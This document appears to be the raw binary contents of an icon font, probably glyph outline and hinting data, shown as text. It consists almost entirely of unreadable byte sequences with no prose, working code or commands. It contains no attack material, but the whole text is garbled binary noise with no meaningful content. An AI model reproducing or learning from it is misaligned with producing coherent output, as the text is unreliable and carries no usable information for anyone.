GY@)cbPPihbjcj^]\[ZYPXPXWUON875420.,*)'%"%+%#"'#"&5467&546267654'6767'"#5&"'&#"&#"""17&54727&'632""&#67'2&'26.$.B.0  0.B.$B\Bp9
0  0
9P0
(NT(
0�
<&.B""B.&<
.BB.�$8
""
8$^O.
>1
.	��#n@k#"! B?Y
YMQ	E
+7/5353753!537''?'7�"�7��(P(�((�*�" ��d((�((tb������n@kB?Y
YMQ	E

	+75353753''777'53�"�   <@"--�----9@!��"C@@�@@x  b-..z-.\  ��	J@GBjhYMQE
		+%57!!#?#577/7620���� ��� ��0��� �����?@<	BjYMQE
+?!!7#57/762������ � ����0�@� � �����8-@*5)'
B[OSG" +2"&4$"67654'&'&'&756'&7673654z�zz�z�p-(2	''
2+-�z�zz�ipOE5



	
5EO����34@12&%
B[OSG	3	3+2"&427&'&54767676'&5&76'&'#z�zz�z�X:+2
''	2(9�z�zz���E	



E ���BK�
PX@=
`


YYZ	Y		M		Q	E@>

h


YYZ	Y		M		Q	EY@(

	+3#57##355##%5'#�@P%K0�0�� A�`@P K��0P0�� ��0�B�� ���	BK�
PX@0h^Y	YMRF@1hfY	YMRFY@$ 
+7;#3+55#5# �� �K0��@  P��PK�� 0p@P��	
R@O		hk
Y		YMRF




	+533#5353!#!@ �� �0��@ ��P00� ��  �� ��	
R@O		hk
Y		YMRF




	+533#5353!#!@��0��@��P00�����0@�7@4
BjYMRF+3!3#!#537'�����p p_77JJ0��0��\7��7JJ@�6@3
	BYMQE



+3!3'7''53�����7JJ70��0�7JJ7�PP�`?@<YYMQE
		+=!%5!%5!`��`��`�88@�@.@+
	BYMQE+!!?!!5'''7'�������
`sDO00ODs@�t|��XMF%%FMX@�@+@(BMQE



+%!5777'7''����DO00OD���@�dMF%%FMd��P�0 (0@o@lBAh
[
[

[		[[OTH?>;:985421.-*)&%"!  (%+%#"./767632"32>7&'&"&462&"2643"&463"26266'G&%7'01^^,N06*4#G'%%/B//B/64&&4& (�2$""%8/16#")�/B//Ba&4&&4(P�0'o�BK�	PX@'`[[OTH@(h[[OTHY@	%(%+%#"./767632264&"7327"&463266'G&%7'01^B//B/J(�2$""%8�/B//B>(@�@
�
(+?7'5�(������%�edN_d���{{{@�@�(+5�����@��{{{@`@	!j@gBAY

Y		[MQE

! 

		"++57''32653535#"&'#3 @��@
-�0(0�--b#,#b�@`��``DDPPPD���@`@
"��@K�PX@/j	`		f
ZORF@0j		h		f
ZORFY@
"
 !+62673+53'+735335+"&5+�,#r��r79@�@8(('	���%`PPPP`
�h#'+/3�@�

Y%	Y$		Y Y#Y"Y!
M!
QE00,,(($$  030321,/,/.-(+(+*)$'$'&% # #"!

	&+!!75#75#75#75#75#5#75#5#75#75#75#75#��pH888888888(���(888888888h��00@00@00@00@00�������00@00@00@00@00�h#'+/�@�

h

f

Y"	Y!		Y YYMRF,,(($$  ,/,/.-(+(+*)$'$'&% # #"!

	#+!!75#75#75#75#75#5#5#75#75#75#75#��pH888888888(�(888888888h��00@00@00@00@00p�00@00@00@00@00 `1w@t	)*
Bhk		[
[

[O[SG1/-+(&$"! 
	
+267##"'&#"#=76323265"#"'&#"63232�

!(9+(:		0( 
9/P�	
���	��	�
	 `I@FBkO[[SG
	+267##"'&#"#=7632326�

!(9+(:	P�	
���	����<@72-!@a'+#"&'4>654&/76'&'&54?67676`G`"+" _! (

)
y0"11	.-	�5�M/DSM(?)*>�p$,(

$,(
�FQ8+<?3& ..		-/����@
@a'+#"&'4>654&/`G`"+" _! (

)
�5�M/DSM(?)*>�p$,(

$,(
����9EUv@s92	B
YYY	Y	
	
YY[OSGPMGFC@<;8764+($#"!!4+%#!"&'4?5#5;3#3#3#3#3!27654/=;#73+"547#1;2764'1u#�%t00  001:\
	t�H�H
,�.�C	�	N%$�  �$
���ww((xo
����"&*.2>ڶ"
BK�(PX@L`Y		Y
Y



YY[OSG@MhY		Y
Y



YY[OSGY@+//++''##>;76/2/210+.+.-,'*'*)(#&#&54+%+"&547173#!"&'4?5#53#'353535354/#;2G	�	C�q#�%t�p00  0A	:�
H�G.�,A
ob%$�o000�ww(����S`kv������������&4=KWeqAm971���"<�$-$L'mldcA: B�O,�zy[UT
%
bX������i*#�( ����B�"�$�(AK�PX@�  h&%  ^#f)
`,+^f"O
$[$'$'[[[	
\.
-
[P([/*(*([["!"[SG@�  h&%  f#f)h,+ff"O
$[$'$'[[[	
\.
-
[P([/*(*([["!"[SGYAhhfxwnmlkfqhqed][WTQPONKIED42����������������������������}{w�x�qpkj`^XVRPHF>=53+)(&	SS0+%"'#"'&'"547&'#"'&767&'#"43267&'&763267&54267632632'32767&'&#"'676765"7&'&#275&#"67'2734'.3654'&'654'#6&264&"#"'6&/6'&'&'&763247&'6?#"'&67"'332%&6763267'"#"2>?#"'&7674&5>'6326'6.&7632263&'&#"##"'./237&'"#k%82<-8-<28%UU!<4<,8,<4<!U�+ '
�'
6 +/
P',�(,\
y

r
m""9
{*"!"

		�
�

�	
).
d.		
)

�=-2<!UU!<2-=8 <,2<!UU!<2,< 8
_'
f''
P
_',
g'(
,//�|//

��2#""=
l"#3@�
�$	�	)'

�.			+'.
:
}
$
	����IUamy����@5�^
�
<5
�nH)"��b		�RBV~JAK�
PX@T
`

^
f		h^^O
O	\

[SG@X


h

f
f		hffO
O	\

[SGY@*������������xwsqlkge][QO98(&%#II+%2#"''&'"547&'&767&'#"43267&'&7667&5426766#"'6&/&'&7632#"'&76?67632&>?#"'&>'632&7632.#"'./kUU%82<&=8=&<28%UU!<4<<8<<4<BS8")"�!*"��
��.
	
)E.		
)�8=&<2<!UU!<2<&=8 <<28%UU%82<< ~"2#"�#3$"�R
�	)'_			+'�X
��'4N@KB	[[[OSG41-*# '&	
+2#!"&546;23'"63!254+"/&#54#!"3!2�


�p
p
�	��
'�p�`
��
P

J*������
!k�BK�PX@!^\OSG@ j\OSGY@! 
+2#!"&=43%2&#!"546;23�
�p
�

�Pp
�
�P
*J

����#*.5=DINS�@IFEB=4321/.-+'&%#"!D:
		OMB`^[	Y
	
	YOTHRQKJHG?>98)(!+2"&42637'5#2332?75'37&'7&'77/767''7&"''67z�zz�z�j�+R9!1GNFEhy#7:G6��F1�F62C/0+6 +�+ 8�z�zz���@''A(1%�/@<:�::HH2(5F1(:<>3)'M�)3.M� ��%22%����&.5\@Y53.+%$#" 
B	h^^YOTH0/*)!
+2"&42637'5#233275&'77/767'z�zz�z�jT9!1G�#7:G6��F1�F62�z�zz���@''Ar/@<:1(:<>3)'M�)3.MR�.#+3<LX�@�[

[	[
		[[[OSGNM?=54-,%$TQMXNWGD=L?L984<5<0.,3-3(&$+%+" ##
+72++"=#"=4;54;22#"4'2#"&4632#"&46'2"&547#";27654&'2+"&463�###�]#�'8&�&8'.AA.�.AA.�####'&*&&*!4)**)4>^@@^>R�.'/7@H<K�PX@O

`		`^^^

`[[
OTHK�PX@Q

`		`ff^

`[[
OTH@S

`		hfff

`[[
OTHYY@2BA10)(ECAHBH><98640717,*(/)/'%# 
+2+"&46354+54+"#";;2=3224#"264&#"6264&#"24#"Q.AA.�.AA.9####x2>.>^@@^>y####&*&S5& �`#+O}�@�iP
B[[		[[
[[[

[OSG}{urlja_]\ZXLJIHGE=;8520)(%$! +$2"&42"&4&2"&424"62"&42"&4#"'.+"#"'.7>76322632>&'.'&#""'&#"32767676;2328�  &&�8Z+ ;; +' 

:6:

 '$	(4(	$

>>
� L""$&- !BY	4		4	YBFF		F�E-C?

?C-E �`'/7?GOy@vh		hh

h
fk	[
\


O

[

T
HMLIHEDA@=<985410-,!(#3%+62"#"'.+"#"'.7>76322632264&"264&"264&"6264&"264&"T&&^+ ;; +' 

:6:

 '��  �88�&BY	4		4	YBFF		FU""8L8��_��@��h
	N��mjLD$B&�oB��b`XV@|zwu:80.?	
	[

[[[
[OSG�����yxrpge][.**.*+2"&4264&"7#"'6326763267&76763267&'&54767&'#"'&'&7&'#"'&7327&#"&"&'6'&#"&'64'673276'672�P88P8?B//B/								_    D    D 8P88Px/B//B�				 D    D  ��3;P@M13B+)&$@
?[O[SG&)&%+$&#"&"&'6'&#"&'64'673276'6727327264&"`  D    D �B//B/�D    D    ~/B//Bd�+3;U@R%"
B	
[[
Y

O

S
G985410-,)'#%#+%3##"&514&"1#"'&'#536763262>32264&"264&"�#&66&#$ 1"1 #x@--@-�@--@-�"6&&6"!%%x-@--@--@--@d�+C@@%"
B	O[Y	SG)'#%#
+%3##"&514&"1#"'&'#536763262>32�#&66&#$ 1"1 #�"6&&6"!%%��L@I
	
M
		YY

Q
E+#3##5##5#535#535335335#�ppp�pppp�p���pppp�pppp�����#n@khhY	
Y
M
QE##"! 

	+753!!5#5##5##3#33533535#5������`P�PPPP�PP�����PPPP�PPPP��p=-@*9'?OSG+)%#+2&'&'&54632>67654'&'&#"'&#"67>G5D)(<*	7<()D599c		>>		$&*  *&$p>6721'$'1276>�/--/  �p@?a+2&'&'&54632>G5D)(<*	7<()D599p>6721'$'1276>R�.bK�PX@&`f[OSG@'hf[OSGY�!&+6"&4627#67654&#"#432K


D"R


i&>����%-�K�PX@7`f[
[		[OSG@8hf[
[		[OSGY@+*'&$#!%%+2"&4264&"72#67654&#"#42"&4z�zz�z��pp�p�#=


�z�zz���p�pp��&>�


����'<@9hf[\OTH"'+2"&4264&"7654&#"3&632364>z�zz�z�


3"D	�z�zz��


i>&

��U@R

BA@YYMQE					+#5##55'353''7535#��p`p0��P�@��� @ P�Ѐ���tt���p���`-
*C��5@2

	B	@hMQE+#5##57''753��p`p���� @P�Ѐ�а���`-`� 33@0/.B[OSG%%#%%%#$+#"/&#"32?#"'&4763232764'&#"'7632�('~"!!"+
*(''(~!""!+
*('N{@*)N{@*)X�(13@0-,B[OSG%##%%%#$+#"/&#"32?#"'&476323264&#"'7632�.-}''.--.}((''.-
V{8&&V{(:(&&`@(
9@6[YMQE

	+423#535#53(@0((�x����
P@M

[[Y	Y		O		S	G

	+423#535#53&2"&4264&"�(@0f�zz�z��pp�p((�x�z�zz���p�pp�����>@;[YY	M	SG
+2"&46"2645#5#3#z�zz�z�0�z�zz���x����=EM_@\(!BA[[[
[
	
	[OSGKJGFCB,"#+"&4632632&"26467654'&'#"&547&'&"2762"&4264&"z&y�{{VB6




"R""#$N$#�P88P8?B//B.96CVzz�z&$


��%$&'$
#$'&$%8P88Px/B//B��	!+3;CKS[cmu}����@� #["!&[[

[%$[
O
S	Ged#"����������~{zwvsronjidmema`]\YXUTQPMLIHEDA@=<985410-,('"+#+
		'+%2"&546264&"&2"&4264&"'2"&46264&"$2"&4264&"&2"&4264&"&2"&4264&"%"&5462&"264&2"&4264&"&2#"&4264&"K.  {,,%  f.  $..&  {,,%  }..%  ;.  �,,%  }.%  k.[  F..<  F.[  �,,;  E,,;  E,,;  e.[  %..=  E.=  	��	#+3=EOh@e

[
	[OSG54MKGFCB?>:94=5=10-,)(%$! 
		+%2"&546"2"&4'2"&46$2"&4&2"&4&2"&4%"&5462&2"&4&2#"&4K.�,,V...k,,m..K.�,,m.k....�,,,,,,?.k...�� �9=AE{@x80-*'Bhf[
Z

Y	Y	

	M		
Q
	
EBB>>::BEBEDC>A>A@?:=:=<;99+#54'&'&54627654'&"35'335733476761453'53'53 �UvU1($h$(   ~@P```)*&31!*):SS�%$1($$(1$%$'p@@pp@@p&%�  �� �#'+a@^	B

hY

Y
		YMQE(($$  (+(+*)$'$'&% # #+#57##5'##54'&'&546253'53'53       UvU�@P```)*&3�@@��@@�1!*):SS��  ���@�
YY

[
Y

[		Y[MQE

	+!!!535353$424242p��`���������     p��p���h``�  `  `  ��n@k`		`
Y
[


Y[	Y		M		Q	E+!!624"424"424"5#75#75#���@      ��������P @ @ �``�� �!)0@-?[[OSG+"67654&2.5462"&4264&"�lJF!!F�xTH$$0Pv4&&4&,((�J6Bx9""9xB6ZT<2�33E�2<&4&&4I((�� �!@?kOSG+2.54264&"TxTH$$0P|((�T<2�33E�2<k((��@�#'U@R 	
B[Y
[
	
	YMQE'&%$
+%3!535462#354&"5!62#5&5424"8��8=V=��3J3��  ���H+==+HH%33���Р!! ��@�#H@E	B[
[		[MRF#"! +%3!535462654&"3754&"2"8��8=V=`P3J3H  ���H+==+�!�H%33%HP ���+.1T@Q0#".Bhf[OSG///1/1-,*(+2'7654&#"'7>7#"&54?326'3%7VzlL1Va�a8VzlL1V�@�@@@�zV
Ll2,19��19zV
Ll2�@@@@����-3O@L1.320/
Bhf[OSG$&%$+%'771'65.#"'>32#"&'=47326%''�45
+nM3X`7Tw(`7SwoM3X��4)*�55))Mn4,08wS^08uSMn4�5))l�#B@?#"

	BYMQE+'#5'7'7537'7'5#'735lvv v@v vv v@v
��� ���� �DD8E��E8DD8E��E�JJJ��JJJJ��Jl�*@'

	BMQE+'#5'7'7537lvv v@v vv v@vDD8E��E8DD8E��E��,48u@r[YY
Y	YY

M
Q

E5558587641/.*'%$#"! !"!"+7#+;3=;5+573##5#53573!354;2354+"!� 00 00@@@@@p��`�c��a���0 00 @@@@@@@@��@  �� ���� (4�K�
PX@E
``		[


YYYMRF@Ghh		[


YYYMRFY@!)))4)43210/.-,+*(%#"!"! +7;+#=+5;=373!354;2354+"5#5##335�00 00 @��`�c��a�@@@@@� 00 00���@  �@@@@@@���
0g@d
	./B#Ah	[
[MQE00-+('"! 

+7'"&=7'632'6=33#535.=3327
���!.q=�(!.1
uE�I2FA-	 ��Hw0#v�S
� 1#�)" P�??I2PP-@���/J@G$	Bh		h[	[MRF-,
+2"&=454&"26733#535.=3265_B..B.�%4%%4%0C2E�I2FAZA�1#�#11#�#��((�((jP2I??I2PP-@@-���#?@<Bhh[MRF+6"&=462733#535.=3265�B..B. C2E�I2FAZA^1#�#11#�#qP2I??I2PP-@@-��@MQE+%!5!������1@.[YOSG+2"&4264&"75!z�zz�z��pp�p?�z�zz���p�pp�F����(@%YMSG+2"&45!z�zz�zP��z�zz�_ �`6@3YYMQE	+%#3!535#!!�@��@��0�@ � �`G@D
Y		YYMQE+%#3!535#!!5!�@��@��0��P�@ ����M�3"]@B@K�PX@^OTH@jOTHY@""+727#"&546767327.547�
"60D-$@-J&1C;�)C0'=-@(H11):M�3$@!@OSG+727#"&5467673�
"60D-$@-�)C0'=-@�@�'/6@3
[	O	SG-,)(%$+6"264&2"&4&"264&2"&4$"264&2"&4�


 X


 (


 �








�@�!@OSG+62"&4&2"&4$2"&4�n��r(@%B@jOSG2*+/547632�I>3ZZA
�,'@r.@+
@jO[SG2)2#+%5472>355476357@
>4	�?4�1,'� �
-'�#����4@1Bh[OSG+"264$2"&4%5#�rr�r��zz�z0`��r�rr��z�zz�
�����'@$	BjMTH+2"&473z�zz�z�`��z�zz���`����1u��@�zyP?8+(#	MIHtR 
j
\[Zc^	B7oA}|wv@hffh

h[
[	[		O		S	Gsrqplkhf(-,&)(&(
+%'&#"#"&547673276/>73276/7632654/5/&#"#"'5#'1#"'1'32?'#&7162367'?7&

37&s	!	=$!

NE

	,	eXfgG?[�


%(#T5b(
O$	E
'FJA�<{o5����*1'@$0-,$
B1/.+@ja(&-+%'&#"&5474>76/>76/76327'77'	
37&r			=$!

NZgF2C�	

&( #T

b(
O^;yU&��"&*q@nhY	Y	
	
Y
Y

YOSG''##'*'*)(#&#&%$""! 33+!#!"&53#3!265!#535353530P
��
 	B	��0��������

1��		Q��@0PPP���K�PX@Dh		`Y

Y
Y	Y		M		T	H@Eh		hY

Y
Y	Y		M		T	HY@%3+!#!"&533535355#75#0P
��
 0���0������

1��   �`� @`	
�	(+5%'77'@�9)s�Sƚ��sS�y$ @`�(+5%7'@�֒4ƚ���h �`%CW�@�	


?
*	B

h	
	fY[[
Y


[		O		T	HED'&TSOLIGDWEW>=<:74.-,+&C'C" +5353'77'7'77&54632&#"7""#;264&#"#'&'&'232+"&5467546��7
 � �
)'* �%

�*&&�.*66jk  �+*!%)%

(#&6'  . �`';!@$	
	)	/53BK�PX@@		h^h`
	YYOTHK�PX@A		hfh`
	YYOTH@B		hfhh
	YYOTHYY@!;910$#''
+5353'77'7'77232+"&5467546'#5&54632��7
 � �
�*&&�.''**66jk  �a#&6'  ./	+* `9@6	YMQE

	
+#3##3#?//O�//OP��0��@��0��@ `)@&MQE+5333ObO @��@��
|�0?Qa{����@�		hhh[	

	[

[[[OSG��A@����������������������wupojhcb`_XWPNIF@QAQ&&'%%(&$+%#"'.7>326'&'&#"32%#"&'&767632>'&#"327.'&7673"'3676'.'#2#".'&"#"'&54654'&'&"327>362232'&'&7>73'3>76'&'#|





��





E 




`P

�$,$





 

	

�-E$!@-T!$ C($%(w#�^7!

!7W	/,

,/	
		�(%$'M#|�!3M]P@M
	k
[	O	[	S		GON#"WTN]O\IGBA<:5420+("3#3''&$+%#"'.7>32#"&'&767632.'&7673"2#".'&"#"'&547&'&7>73|



��


3 

	`P

�

 �-%-($%(^7!

!7|(%$'0�P<|����AD��mkied`WS1-(	����oO3�����t�B����A@K�
PX@Rj
	`	f
^	f	f		[\MRF@Tj
		h	f
	f	f	f		[\MRFYA3��������������������������������������A?" $++476767654'&'&'.5&&'&7>6';&'.'.'&54656767676'&76'.'+472>75'?6547632"#67&74;27&6'&#"32&'&'*&767675"'&'&7>"#';.'&'4327&6'&#"32�]�
'$!�	�	
>	
	7).Z2	

Q
	P�#$	


		

 		 	

		$%	#

.	2	
	X
 
.	2	0�P<?v��@1�bSO1-(
3��jg�
B�Mn@AK�
PX@Qjh
^ff	^

f

f_PSGK�PX@Rjh
fff	^

f

f_PSGK�PX@Qjh
fff	^

f

fkPSG@Rjh
fff	f

f

fkPSGYYY@%==�������~zyutsrpofeZXIHFC=?=>>=" $+%1+476767654'&'&'.5&&'&7>6''3++472>5'7>56547632"##36%#&'&'*&767675"'&'&7>"#=�
'$!�
7)3P2	

q#$	


		




		%%	#


	X
  @`1�w@tihVU spolkQONK	zyxEDC,
	BT!Ahfff[	M	QE32`^=<:92�3�#
+7+47>76?&/"'.54673&'&62#3&'&'&'".#&'&575?>76?>57676&575>54'&#"j�5��5 (F(	 c�	


	��  )
 
))*	%'

	
	


 @`0;@8+B AhfOQE"+%+47>76?&/"'.54673&'&62#5��5 (F(	 T  )
 
))*	% @`=��@�,utba|{xw][ZW	���QPO8	
B`-Ah


f

ff		[YYMQE?>ljIHFE>�?�54*)%$+##5#5353+47>76?&/"'.54673&'&62#3&'&'&'".#&'&575?>76?>57676&575>54'&#"@��5��5 (F(	 c�	


	'1�  )
 
))*	%'

	
	


 @`<_@\+7B,A		jh
fiMYQE43)($#+##5#5353+47>76?&/"'.54673&'&62#@5��5 (F(	 '�  )
 
))*	%���K�PX@1`YYY	M	QE@2hYYY	M	QEY@

	
+!!%!!#5!3#@���p��P��� 0@�� ��p0 ����	0@-hYMQE		+!!!#@���@��0@���0��@����)5@@=,+)(&%Bh[OTH***5*4#)+327>7654'&'2#"&'7'1?.'54>3�	3?'$#481WVzzVDn� 0%$.��
1X9o�-%4#$'P81z�zP?1�6I& .��4-$F?&����	P@		BK�PX@^OTH@jOTHY@




#+2#"&'7.'54>3�VzzVDn��
1X9�z�zP?1�4-$F?&����'J9@6'"F(B[YOSGJG984;8++"&54654&5476;2'3&/&+"546454'&547654&5#;2� 
�
 z��z�	�	
�
3\&A

C&\3W&

&33�c!(*,.11.,*)!
����'(@%'"B[MSG4;8++"&54654&5476;2'3&/&+"� 
�
 z��z3\&A

C&\3W&

&33 `�(+7'
���C������ `�(+
�`��@@%@"MYQE+%##5#53533xwwx�wwxx����?@<	[Y
		YOSG+2"&4264&"73##5#535z�zz�z��pp�p�xxww�z�zz���p�pp��xwwx����<@9hfYMTH	+2"&45#5##335z�zz�zPxww�z�zz�_xxww����	?@<	?Y[OSG
+'5#"&462&"2������  ���� ����( ����6@3?k[OSG
	+42'3'$264&"0 P���40  p��ࠠ����#B@?	
?YY[OSG+3''3?=#%5#"&462&"2� ����ى���
~  ����� �W�i��wyp�) ����>@;
?hk[OSG+3''3'$264&"42��
���2 ����

� p���  ��/e@bY

[Y
	[		M		Q	E/-,+*(%"

	+2+!5#"&=46;5!%!55#%54#!";5!32�0�0  ���0��00P
�rr�
00   �������^^��X@U	hY
YMQ
E


	+35!!5!5!2+5!#"&=463P��� !

!��
����`  
�
~~
�
����&T@QBjjk	O[	SG$#! 
	&&
+%2#"'#"/+"'+5376327623>�!32
3-
pc=4-&�(/�4� �
�ƛU����#T@QBjjk	O[	SG! 
	##
+%2#"'#"/"'+537627623>�A9:6`Z>:6;�H�Z�����[0 P8V�@@	
LBK�PX@E	

	h
f`i

[
	
[ORF@F	

	h
fhi

[
	
[ORFY@,:9USKJFD?=9V:V7642-,)($" 
88+2#"54?##"54?##"5?##"54?.4674&5463226264&+'&'&#"";1�(7.#	%5	.$ -% +'|
*$PB,#LB,"!,%$0'{*!
(
0 P8��BK�PX@.`i

O	O		O		Q	E@/hi

O	O		O		Q	EY@7642-,)($" 
88
+2#"54?##"54?##"5?##"54?.4674&5463226�(7.#	%5	.$ -% +
*$PB,#LB,"!,%$0'P�0#+3;CN@K
[
	
[
		[OSGA@=<985410-,)(3+2#!"&4623&54264&"264&"6"264&2"&4&"264&2"&4D\@@.��.@@\@5�5�7N66NN77N6o((J4&&4&�((J4&&4&0A^AA^AA/>!!>/P77P7�7P77PX((,&4&&4((,&4&&4P�0#+3xK�PX@,	`[
		[MTH@-		h[
		[MTHY@10-,)(3+2#!"&4623&54264&"264&"62"&4&2"&4D\@@.��.@@\@5�5�4&&4&&4&&4&,((�((0A^AA^AA/@@/o&4&&4&&4&&4J((((0�`A@>B@k[OSG+=4767557">37'12]��.)'$�)B'#WF��0 V24P��P;�$%
	;.Aaa0�`1@.B@kOSG+=47675512]��.)'$0 V24P��P;@l9@6BA@h[OSG+6"&46355"2653�jKK5``-??Z?@KjK,@88?Z??-5����"M@J	B
Ah[[[OSG	+%3"&46355"26&2"&4264&"<KjKK5``-??Z?¬zz�z��pp�p�5KKjK,@88?Z??�z�zz���p�pp�����C@@BAh[[OSG+2"&4265#"&4637'"z�zz�z�jK?Z??-``5K�z�zz��K5-??Z?88@,Kj��/@,		B[OSG%#+27'74&"3267#"&4p�p7	FC	3i�iiJ;]c?Pp�pP5	DD	4Jhi�iC6:Ip�0�P <_�@�RD	Bhf

[M
[[[		O	T		H"!_\WSMKC?:754321/*'!<"<%"+?"&'#7#273'3.#"'763272#!"&=46;533>;254+"'.'./#"+"3!2�B2&')4"&'(!#

��

"
XL>X	<@�. 22%�%33%
�

�
ϰ		�
0�P*<�@54%
+BK�	PX@<h
	`[


Y	[		O		T	H@=h

h[


Y	[		O		T	HY@"<;9720-,*)'&$#! 	+2#!"&=46;533>;27'"&'3'32?#&'&#"7632#b

��

"
X+4)'&2B.&#!( 
�

�
�%22 .-3%%@�@
�(+'=77''���ర���%ee�dd_j{{�{{�@�@�(+7''����@{{�{{���@�-<HR]dl5@2kigeca_^ZWUSQOMIGA=830.@OSG#"+276764'.67"&546767676%>7>767.'&'6767&''&'>7'67&'&'6	61-	#v#	2"O�O./'
36��
PB1
�
'	;$?:B�#-
'	.
  
.%73+JU8HH84?	
"1
	)
XH		
! $(��@�(0@/-+)%" @a+"&546767676%67'&'>7'&'6@"O�O./'
36��B1
�?:B�#-
@+JU8HH84?	%
XY "(��&@#?[OSG&+%'#"&462'&"2764l"l(+?YY~YC#dFFd#$�m"mZ~YY?,�#FdF#$b��
-@*
B?[OSG&#+%'#"&4623264&"�q)7?YY~Y!�'98PPpPq!Y~YY?6)'PpPP89�p#^@[Y

[	
	Y

[OYSG#"! +5!623#"'!5362!!"'#5!623#"'!
6
[[
6
��[
6
��
6
[
6
[[
6
��H � � �h#+3;CKS�@�[Y
[

[
	
Y		[[YOSGLLLSLSRQGFEDBA@?7654210/'&%$! +"2&2"&4"2&2"&4&"2&2"&4!!464&#533#464&!5!3#464&'!5P  0  �  O��_QQQQ_��^QQ^��X 0�� 0� 0�����'5F|@y$>&%	@0	5/(	)B#"@+*?		hf[
	[O[SGDC;:9842.,!''+"#5267>73467>;'7'7'7#"'7;/.#524&'#.-0%#!*#3-:%4cc3cc4^;=03�3#*"!(, ? $0!$3+TR*�RT+_!.2*V0$ <��!5HV@S!+%#H@6(7B @98?h[OSG)'*"	+%'7#"#5267>7>;'74"5.'.#52'7#"'>5>7;'*
>./%	$('7%3.>
V�7'($�VV
>.Z;?2.>�34 6#144HT1#�GH4_-33 @`9@6
B@?YMQE



+37'#7'3=O��OP��G/`������������~~ @`&@#B@?MQE+37'#O��O`������ @`:@7	B@?YMQE



+3#57/#�OO��� /`����@���� ~~ @`&@#B@?MQE+3#5�OO��`����@�0�P�<@9����xrkjia\UTSKE=<;3-%$#
BOSG_^+7/'&7''&'"=&7675'&76''&?&'&767''&767'&766'&765&'&65426767&7676'&'676�	@		
A	

AA	A
		@
@@

�$I
!!
I$	$%
	$I
!!
I$

$$
��G[c�@/83(#7$[JT
SQ
R
B5AFC?K�PX@A`f[[	
Y


[

O

S
G@Bhf[[	
Y


[

O

S
GY@a`]\ZXPNED?>+2/&'&".'&5467#53&'&'/#7&'&'#51'3#626'#"''7&54632264&"���8
#&V&#
8�  !)'!$  @�@AK	

	
)��]T@

@T]�!((!
&&!)'!!@@�T	H��.BVpt�@+)('&41;><	=	oned	BK�PX@P`hf
k

[\	[		[OSG@Qhhf
k

[\	[		[OSGY@!qqqtqtsrji]\PONMLKDCA?'!%+%3&"&'&';5#6767?1'6767;57#4'7'&#"7326&2#&"#.'&54654'&"5?>27&42�
=�=

$ "$!q	?I
	

���85�58{4=<�<=4
	HLH	�@�"::""  

""
" "
LA	�]T@@@@T]�9OT=<<=TO9
		o@@����	*@'
@
	?MQE+7'373''7#���55��6���k+l��b��b�cck�LzK����	7@4@

?MQE
		+%'7'37'7#'#7��6��6��556+l�))�l+k�b�cc�b���zK{{KzL����	@@?a		+%'7'37��6��6��55�b�cc�b������!+9�@!
71,BK�PX@.^hf\OTH@-jhf\OTHY@98#'+"&54?#'7673535'7'#264&#"7'&546753N2q�q3)	2B A0	)	ԐeeHGf�	-7INooNK6(	1&&+	(��d�deFGY
�����!/J@G
/)&BhOYSG'+"&54?#'7673535'7'#654'5#N2q�q3)	2B A0	)	�	-7INooNK6(	1&&+	(���

 @`'/�@�	
	B	Y	
	
[Y[MQ
E-,)(%$! 

	+5353753!53/'776"&462&"264�_8��<�"!�""�!"�"!�@,,@,40##0#(88��<<�5""�!""!�"" ,@,,@[#0##0	 @`'z@w		B
	Y
Y		[MQE%$! 

	+5353753!53/'776"&462�_8��<�"!�""�!"�"!�@,,@,(88��<<�5""�!""!�"" ,@,,@Pp0\U@REDB@$Bhh[[	[		O		S	G[Y/'"'+%
+%#"'&'&'&76?63223276326&'.#""'#&/&'&'5&'&6/&#"326P'6+#-"	
		
3

."0

 ,-5p$($/<8$E

	,9	
1;-  &Pp02@/$BjjhOSG"'+%+%#"'&'&'&76?6322327632P'6+#-"	
		
3p$($/<8$����#-9D@A4	.B	[		[[OSG87%$Q&
+%++"&4624&#"#46%;.'>7.'�jIVzz�zpO@%!#��pO@H�B_VzB]Ux�Igz�zzVOp#!%@OpH@�]BzV_Bx����*8@|
8
%
B

h
	
	f	
	f
fk

[OTH760/-,**('$#+53211#"&=1471>7163127.'665&'.'&'"�VzjIVzgI
�H@xU�zV#!%@���zVIgzVIj�@HUxcz@%!#0P:@|B?h		f		fh

[[M
O
TH8632.,+)#"! 
::+77#7372+53264&+'&'&#""#;#"&546754632�X4H8&&%

. *��`P0c&6'(
$	
  .#0P"��?K�(PX@5`hkOYYS	G@6hhkOYYS	GY@
" "#!!
+737#73'3;3264&+.#";�(B4HUk!&&* .� ``P00'6&#.  ����#'+/37;?CGKO`�@�WR	BZA[[("

[&$[
! 		['%[[)#[[OSGLLHHDD@@<<884400,,(($$  `_UTLOLONMHKHKJIDGDGFE@C@CBA<?<?>=8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #*+2"&46764'.'&"274242642 426424264242&4242&42427"='&7'&62������T>>#&V&#>>#&V&Y���H�0�� P�^%&	��������>#&V&#>>#&V&#>h��������������zz??����$+/DKRY`dd@a:<0	Ah		f	
	
f[[

[OSGdcbaCB@?43/.-,
+2"&46"224"6'&76'&776&6'&24"76'&#'&3256'&6'&6&&6'&24"��������$
9T	&%TC������[�g�Q���@?z7��\����)B@?&B)@hfYOSG#+7'.613#"72"&472654&'#5�&=
Vzz�z=8o�oeJ�4#+�z�zz�=8OPooPKn_p����+<@9)(Bh[\OSG)+2"&473264/2654&#35"&547'z�zz�zf+
^�ppPB\f�g38�z�zz�<
�pOPp`NdCHffHI38�����'/7CO}@z
[
	
[	
	[

[[[[OSGFD98LIDOFO?<8C9B5410-,)(# '&+6"264&2"&4%#"3!264&'2#!"&463$"264&2"&4'"3!264&#%!2#!"&46t((J4&&4&?�!//!!/0 (88(�(88(((J4&&4&�!0/!!//!�(88(�(88�((,&4&&46/B//B/8P88P8�((,&4&&46/B//B/8P88P8����#/7]@Z	
	
[[
[[[OSG%$	5410+($/%.! 	+62"&4%2#!"&463264&"$"&462"&463!2#6"264L((0(88(�(88(4&&4&T((��(88((88(4&&4&�((L8P88P8�&4&&4�((L8P88P8�&4&&4 �)-15m@j# 
	B[
Y

	
Y		O		T	H22..**252543.1.10/*-*-,+(%"!33+#+"&5#53546;2'354+"#;25'537#7##' �PFqbF���]9
cO��#��"��������� �#'+Z@WB[	M
		Y
M
SG(($$(+(+*)$'$'&%#"233+3#+"&5#53546;2#354+"3'#5#37#�P�PFqbFG<O��#��������0�`9@6	B
@k[OSG+%#'&'&''74.#552�
$').��[41$Q8��FWP ;P��P42O:,%AaaA.0�`+@(	B
@kOSG+%#'&'&''7�
